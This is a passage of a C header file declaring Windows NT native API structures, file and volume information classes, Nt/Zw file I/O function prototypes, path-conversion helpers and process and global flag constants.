LARGE_INTEGER  LastAccessTime;\n  LARGE_INTEGER  LastWriteTime;\n  LARGE_INTEGER  ChangeTime;\n  LARGE_INTEGER  EndOfFile;\n  LARGE_INTEGER  AllocationSize;\n  ULONG          FileAttributes;\n  ULONG          FileNameLength;\n  LARGE_INTEGER  FileId;\n  GUID           LockingTransactionId;\n  ULONG          TxInfoFlags;\n  WCHAR          FileName[1];\n} FILE_ID_GLOBAL_TX_DIR_INFORMATION, *PFILE_ID_GLOBAL_TX_DIR_INFORMATION;\n\n\ntypedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION\n{\n    BOOLEAN IsRemote;\n} FILE_IS_REMOTE_DEVICE_INFORMATION, *PFILE_IS_REMOTE_DEVICE_INFORMATION;\n\ntypedef struct _FILE_NUMA_NODE_INFORMATION {\n    USHORT NodeNumber;\n} FILE_NUMA_NODE_INFORMATION, *PFILE_NUMA_NODE_INFORMATION;\n\ntypedef struct _FILE_STANDARD_LINK_INFORMATION\n{\n    ULONG NumberOfAccessibleLinks;\n    ULONG TotalNumberOfLinks;\n    BOOLEAN DeletePending;\n    BOOLEAN Directory;\n} FILE_STANDARD_LINK_INFORMATION, *PFILE_STANDARD_LINK_INFORMATION;\n\ntypedef struct _FILE_VOLUME_NAME_INFORMATION\n{\n    ULONG DeviceNameLength;\n    WCHAR DeviceName[1];\n} FILE_VOLUME_NAME_INFORMATION, *PFILE_VOLUME_NAME_INFORMATION;\n\ntypedef struct _FILE_ID_INFORMATION\n{\n    ULONGLONG VolumeSerialNumber;\n    FILE_ID_128 FileId;\n} FILE_ID_INFORMATION, *PFILE_ID_INFORMATION;\n\ntypedef struct _FILE_ID_EXTD_DIR_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    ULONG ReparsePointTag;\n    FILE_ID_128 FileId;\n    WCHAR FileName[1];\n} FILE_ID_EXTD_DIR_INFORMATION, *PFILE_ID_EXTD_DIR_INFORMATION;\n\ntypedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    ULONG ReparsePointTag;\n    FILE_ID_128 FileId;\n    CCHAR ShortNameLength;\n    WCHAR ShortName[12];\n    WCHAR FileName[1];\n} FILE_ID_EXTD_BOTH_DIR_INFORMATION, *PFILE_ID_EXTD_BOTH_DIR_INFORMATION;\n\n#define FILE_DISPOSITION_DO_NOT_DELETE              0x00000000\n#define FILE_DISPOSITION_DELETE                     0x00000001\n#define FILE_DISPOSITION_POSIX_SEMANTICS            0x00000002\n#define FILE_DISPOSITION_FORCE_IMAGE_SECTION_CHECK  0x00000004\n#define FILE_DISPOSITION_ON_CLOSE                   0x00000008\n\ntypedef struct _FILE_DISPOSITION_INFORMATION_EX\n{\n    ULONG Flags;\n} FILE_DISPOSITION_INFORMATION_EX, *PFILE_DISPOSITION_INFORMATION_EX;\n\n#ifndef FILE_STORAGE_TIER_FLAG_SMR\ntypedef enum _FILE_STORAGE_TIER_CLASS {\n\n    FileStorageTierClassUnspecified = 0,\n    FileStorageTierClassCapacity,\n    FileStorageTierClassPerformance,\n    FileStorageTierClassMax\n\n} FILE_STORAGE_TIER_CLASS, *PFILE_STORAGE_TIER_CLASS;\n\ntypedef struct _FILE_DESIRED_STORAGE_CLASS_INFORMATION\n{\n    FILE_STORAGE_TIER_CLASS Class;      // Class type of the tier\n    ULONG Flags;                        // Flags\n\n} FILE_DESIRED_STORAGE_CLASS_INFORMATION, *PFILE_DESIRED_STORAGE_CLASS_INFORMATION;\n#endif\n\ntypedef struct _FILE_STAT_INFORMATION\n{\n    LARGE_INTEGER FileId;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG FileAttributes;\n    ULONG ReparseTag;\n    ULONG NumberOfLinks;\n    ULONG EffectiveAccess;\n} FILE_STAT_INFORMATION, *PFILE_STAT_INFORMATION;\n\ntypedef struct _FILE_MEMORY_PARTITION_INFORMATION\n{\n    ULONG_PTR OwnerPartitionHandle;\n    union {\n        struct {\n            UCHAR NoCrossPartitionAccess;\n            UCHAR Spare[3];\n        } DUMMYSTRUCTNAME;\n\n        ULONG AllFlags;\n    } Flags;\n} FILE_MEMORY_PARTITION_INFORMATION, *PFILE_MEMORY_PARTITION_INFORMATION;\n\ntypedef struct _FILE_STAT_LX_INFORMATION {\n    LARGE_INTEGER FileId;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG FileAttributes;\n    ULONG ReparseTag;\n    ULONG NumberOfLinks;\n    ACCESS_MASK EffectiveAccess;\n    ULONG LxFlags;\n    ULONG LxUid;\n    ULONG LxGid;\n    ULONG LxMode;\n    ULONG LxDeviceIdMajor;\n    ULONG LxDeviceIdMinor;\n} FILE_STAT_LX_INFORMATION, *PFILE_STAT_LX_INFORMATION;\n\n#define FILE_CS_FLAG_CASE_SENSITIVE_DIR     0x00000001\n\ntypedef struct _FILE_CASE_SENSITIVE_INFORMATION\n{\n    ULONG Flags;\n} FILE_CASE_SENSITIVE_INFORMATION, *PFILE_CASE_SENSITIVE_INFORMATION;\n\ntypedef enum _FSINFOCLASS {\n    FileFsVolumeInformation       = 1,\n    FileFsLabelInformation,      // 2\n    FileFsSizeInformation,       // 3\n    FileFsDeviceInformation,     // 4\n    FileFsAttributeInformation,  // 5\n    FileFsControlInformation,    // 6\n    FileFsFullSizeInformation,   // 7\n    FileFsObjectIdInformation,   // 8\n    FileFsDriverPathInformation, // 9\n    FileFsVolumeFlagsInformation,// 10\n    FileFsSectorSizeInformation, // 11\n    FileFsDataCopyInformation,   // 12\n    FileFsMaximumInformation\n} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS;\n\n\ntypedef struct _FILE_FS_VOLUME_INFORMATION {\n    LARGE_INTEGER VolumeCreationTime;\n    ULONG VolumeSerialNumber;\n    ULONG VolumeLabelLength;\n    BOOLEAN SupportsObjects;\n    WCHAR VolumeLabel[1];\n} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION;\n\n\ntypedef struct _FILE_FS_LABEL_INFORMATION {\n    ULONG VolumeLabelLength;\n    WCHAR VolumeLabel[1];\n} FILE_FS_LABEL_INFORMATION, *PFILE_FS_LABEL_INFORMATION;\n\n\ntypedef struct _FILE_FS_SIZE_INFORMATION {\n    LARGE_INTEGER TotalAllocationUnits;\n    LARGE_INTEGER AvailableAllocationUnits;\n    ULONG SectorsPerAllocationUnit;\n    ULONG BytesPerSector;\n} FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION;\n\n\ntypedef struct _FILE_FS_DEVICE_INFORMATION {\n    DEVICE_TYPE DeviceType;\n    ULONG Characteristics;\n} FILE_FS_DEVICE_INFORMATION, *PFILE_FS_DEVICE_INFORMATION;\n\n\ntypedef struct _FILE_FS_ATTRIBUTE_INFORMATION {\n    ULONG FileSystemAttributes;\n    LONG MaximumComponentNameLength;\n    ULONG FileSystemNameLength;\n    WCHAR FileSystemName[1];\n} FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION;\n\n\ntypedef struct _FILE_FS_CONTROL_INFORMATION {\n    LARGE_INTEGER FreeSpaceStartFiltering;\n    LARGE_INTEGER FreeSpaceThreshold;\n    LARGE_INTEGER FreeSpaceStopFiltering;\n    LARGE_INTEGER DefaultQuotaThreshold;\n    LARGE_INTEGER DefaultQuotaLimit;\n    ULONG FileSystemControlFlags;\n} FILE_FS_CONTROL_INFORMATION, *PFILE_FS_CONTROL_INFORMATION;\n\n\ntypedef struct _FILE_FS_FULL_SIZE_INFORMATION {\n    LARGE_INTEGER TotalAllocationUnits;\n    LARGE_INTEGER CallerAvailableAllocationUnits;\n    LARGE_INTEGER ActualAvailableAllocationUnits;\n    ULONG SectorsPerAllocationUnit;\n    ULONG BytesPerSector;\n} FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION;\n\n\ntypedef struct _FILE_FS_OBJECTID_INFORMATION {\n    UCHAR ObjectId[16];\n    UCHAR ExtendedInfo[48];\n} FILE_FS_OBJECTID_INFORMATION, *PFILE_FS_OBJECTID_INFORMATION;\n\n\ntypedef struct _FILE_FS_DRIVER_PATH_INFORMATION {\n    BOOLEAN DriverInPath;\n    ULONG   DriverNameLength;\n    WCHAR   DriverName[1];\n} FILE_FS_DRIVER_PATH_INFORMATION, *PFILE_FS_DRIVER_PATH_INFORMATION;\n\n\ntypedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION {\n    ULONG Flags;\n} FILE_FS_VOLUME_FLAGS_INFORMATION, *PFILE_FS_VOLUME_FLAGS_INFORMATION;\n\ntypedef struct _FILE_FS_SECTOR_SIZE_INFORMATION {\n    ULONG LogicalBytesPerSector;\n    ULONG PhysicalBytesPerSectorForAtomicity;\n    ULONG PhysicalBytesPerSectorForPerformance;\n    ULONG FileSystemEffectivePhysicalBytesPerSectorForAtomicity;\n    ULONG Flags;\n    ULONG ByteOffsetForSectorAlignment;\n    ULONG ByteOffsetForPartitionAlignment;\n} FILE_FS_SECTOR_SIZE_INFORMATION, *PFILE_FS_SECTOR_SIZE_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateFile(\n    OUT PHANDLE FileHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PLARGE_INTEGER AllocationSize,\n    IN  ULONG FileAttributes,\n    IN  ULONG ShareAccess,\n    IN  ULONG CreateDisposition,\n    IN  ULONG CreateOptions,\n    IN  PVOID EaBuffer,\n    IN  ULONG EaLength);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateFile(\n    OUT PHANDLE FileHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PLARGE_INTEGER AllocationSize,\n    IN  ULONG FileAttributes,\n    IN  ULONG ShareAccess,\n    IN  ULONG CreateDisposition,\n    IN  ULONG CreateOptions,\n    IN  PVOID EaBuffer,\n    IN  ULONG EaLength);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenFile(\n    OUT PHANDLE FileHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG ShareAccess,\n    IN ULONG OpenOptions\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenFile(\n    OUT PHANDLE FileHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG ShareAccess,\n    IN ULONG OpenOptions\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryAttributesFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PFILE_BASIC_INFORMATION FileInformation\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryAttributesFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PFILE_BASIC_INFORMATION FileInformation\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass,\n    IN BOOLEAN ReturnSingleEntry,\n    IN PUNICODE_STRING FileName OPTIONAL,\n    IN BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryDirectoryFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass,\n    IN BOOLEAN ReturnSingleEntry,\n    IN PUNICODE_STRING FileName OPTIONAL,\n    IN BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    IN  BOOLEAN ReturnSingleEntry,\n    IN  PVOID EaList OPTIONAL,\n    IN  ULONG EaListLength,\n    IN  PULONG EaIndex OPTIONAL,\n    IN  BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    IN  BOOLEAN ReturnSingleEntry,\n    IN  PVOID EaList OPTIONAL,\n    IN  ULONG EaListLength,\n    IN  PULONG EaIndex OPTIONAL,\n    IN  BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PVOID Buffer,\n    IN  ULONG Length\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PVOID Buffer,\n    IN  ULONG Length\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadFileScatter(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PFILE_SEGMENT_ELEMENT SegmentArray,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReadFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWriteFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWriteFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwDeleteFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFlushBuffersFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFlushBuffersFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeviceIoControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG IoControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwDeviceIoControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG IoControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFsControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG FsControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFsControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG FsControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCancelIoFile(\n    IN HANDLE Filehandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCancelIoFile(\n    IN HANDLE Filehandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLockFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key,\n    IN BOOLEAN FailImmediately,\n    IN BOOLEAN ExclusiveLock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwLockFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key,\n    IN BOOLEAN FailImmediately,\n    IN BOOLEAN ExclusiveLock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnlockFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwUnlockFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key\n    );\n\n\n//-----------------------------------------------------------------------------\n// DOS <-> NT path functions\n\n// OUT Disposition values for RtlNtPathNameToDosPathName\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_AMBIGUOUS   (0x00000001)\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_UNC         (0x00000002)\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_DRIVE       (0x00000003)\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_ALREADY_DOS (0x00000004)\n\ntypedef enum _RTL_PATH_TYPE\n{\n    RtlPathTypeUnknown,         // 0\n    RtlPathTypeUncAbsolute,     // 1\n    RtlPathTypeDriveAbsolute,   // 2\n    RtlPathTypeDriveRelative,   // 3\n    RtlPathTypeRooted,          // 4\n    RtlPathTypeRelative,        // 5\n    RtlPathTypeLocalDevice,     // 6\n    RtlPathTypeRootLocalDevice  // 7\n} RTL_PATH_TYPE, *PRTL_PATH_TYPE;\n\n// CURDIR structure\ntypedef struct _CURDIR\n{\n    UNICODE_STRING DosPath;\n    HANDLE Handle;\n} CURDIR, *PCURDIR;\n\nNTSYSAPI\nULONG\nNTAPI\nRtlIsDosDeviceName_U(\n    IN PWSTR DosFileName\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDosPathNameToNtPathName_U (\n    IN  PCWSTR DosPathName,\n    OUT PUNICODE_STRING NtPathName,\n    OUT PWSTR * NtFileNamePart OPTIONAL,\n    OUT PCURDIR DirectoryInfo OPTIONAL\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetFullPathName_U(\n    PCWSTR lpFileName,\n    ULONG nBufferLength,\n    PWSTR lpBuffer,\n    PWSTR *lpFilePart OPTIONAL\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDoesFileExists_U(\n    IN PCWSTR FileName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlNtPathNameToDosPathName(                     // Available in Windows XP or newer\n    IN  ULONG Flags,\n    IN OUT PRTL_UNICODE_STRING_BUFFER Path,\n    OUT PULONG Disposition OPTIONAL,\n    IN OUT PWSTR * FilePart OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Process functions\n\n#define GDI_HANDLE_BUFFER_SIZE      60\n\n// RTL_USER_PROCESS_PARAMETERS::Flags\n#define RTL_USER_PROC_PARAMS_NORMALIZED         0x00000001\n#define RTL_USER_PROC_PROFILE_USER              0x00000002\n#define RTL_USER_PROC_PROFILE_KERNEL            0x00000004\n#define RTL_USER_PROC_PROFILE_SERVER            0x00000008\n#define RTL_USER_PROC_RESERVE_1MB               0x00000020\n#define RTL_USER_PROC_RESERVE_16MB              0x00000040\n#define RTL_USER_PROC_CASE_SENSITIVE            0x00000080\n#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT     0x00000100\n#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL     0x00001000\n#define RTL_USER_PROC_APP_MANIFEST_PRESENT      0x00002000\n#define RTL_USER_PROC_IMAGE_KEY_MISSING         0x00004000\n#define RTL_USER_PROC_OPTIN_PROCESS             0x00020000\n#define RTL_USER_PROC_SECURE_PROCESS            0x80000000\n\n// PEB::NtGlobalFlag\n#define FLG_STOP_ON_EXCEPTION                   0x00000001          // (soe) Stop on exception\n#define FLG_SHOW_LDR_SNAPS                      0x00000002          // (sls) Show loader snaps\n#define FLG_DEBUG_INITIAL_COMMAND               0x00000004          // (dic) Debug initial command\n#define FLG_STOP_ON_HUNG_GUI                    0x00000008          // (shg) Stop on hung GUI\n#define FLG_HEAP_ENABLE_TAIL_CHECK              0x00000010          // (htc) Enable heap tail checking\n#define FLG_HEAP_ENABLE_FREE_CHECK              0x00000020          // (hfc) Enable heap free checking\n#define FLG_HEAP_VALIDATE_PARAMETERS            0x00000040          // (hpc) Enable heap parameter checking\n#define FLG_HEAP_VALIDATE_ALL                   0x00000080          // (hvc) Enable heap validation on call\n#define FLG_POOL_ENABLE_TAIL_CHECK              0x00000100          // (vrf) Enable application verifier\n#define FLG_MONITOR_SILENT_PROCESS_EXIT         0x00000200          // (   ) Enable silent process exit monitoring\n#define FLG_POOL_ENABLE_TAGGING                 0x00000400          // (ptg) Enable pool tagging (Windows 2000 and Windows XP only)\n#define FLG_HEAP_ENABLE_TAGGING                 0x00000800          // (htg) Enable heap tagging\n#define FLG_USER_STACK_TRACE_DB                 0x00001000          // (ust) Create user mode stack trace database\n#define FLG_KERNEL_STACK_TRACE_DB               0x00002000          // (kst) Create kernel mode stack trace database\n#define FLG_MAINTAIN_OBJECT_TYPELIST            0x00004000          // (otl) Maintain a list of objects for each type\n#define FLG_HEAP_ENABLE_TAG_BY_DLL              0x00008000          // (htd) Enable heap tagging by DLL\n#define FLG_DISABLE_STACK_EXTENSION             0x00010000          // (dse) Disable stack extension\n#define FLG_ENABLE_CSRDEBUG                     0x00020000          // (d32) Enable debugging of Win32 subsystem\n#define FLG_ENABLE_KDEBUG_SYMBOL_LOAD           0x00040000          // (ksl) Enable loading of kernel debugger symbols\n#define FLG_DISABLE_PAGE_KERNEL_STACKS          0x00080000          // (dps) Disable paging of kernel stacks\n#define FLG_ENABLE_SYSTEM_CRIT_BREAKS           0x00100000          // (scb) Enable system critical breaks\n#define FLG_HEAP_DISABLE_COALESCING             0x00200000          // (dhc) Disable heap coalesce on free\n#define FLG_ENABLE_CLOSE_EXCEPTIONS             0x00400000          // (ece) Enable close exception\n#define FLG_ENABLE_EXCEPTION_LOGGING            0x00800000          // (eel) Enable exception logging\n#define FLG_ENABLE_HANDLE_TYPE_TAGGING          0x01000000          // (eot) Enable object handle type tagging\n#define FLG_HEAP_PAGE_ALLOCS                    0x02000000          // (hpa) Enable page heap\n#define FLG_DEBUG_INITIAL_COMMAND_EX            0x04000000          // (dwl) Debug WinLogon\n#define 